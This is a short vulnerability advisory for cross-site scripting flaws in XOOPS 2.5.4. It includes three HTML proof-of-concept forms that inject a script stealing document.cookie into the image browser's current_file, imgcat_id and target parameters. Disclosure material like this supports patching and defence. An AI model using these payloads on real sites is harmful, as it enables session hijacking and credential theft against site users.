source: https://www.securityfocus.com/bid/53143/info
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
XOOPS 2.5.4is vulnerable; other versions may be affected.<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post"><inputtype="hidden" name="isadmin" value='1'><inputtype="hidden" name="catreadcount" value='1'><inputtype="hidden" name="catwritecount" value='1'><inputtype="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'><inputtype="submit" value="submit"id="btn"></form><form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post"><inputtype="hidden" name="isadmin" value='1'><inputtype="hidden" name="catreadcount" value='1'><inputtype="hidden" name="catwritecount" value='1'><inputtype="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'><inputtype="hidden" name="op" value='editcat'><inputtype="submit" value="submit"id="btn"></form><form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post"><inputtype="hidden" name="isadmin" value='1'><inputtype="hidden" name="catreadcount" value='1'><inputtype="hidden" name="catwritecount" value='1'><inputtype="hidden" name="target" value='"><script>alert(document.cookie);</script>'><inputtype="submit" value="submit"id="btn"></form>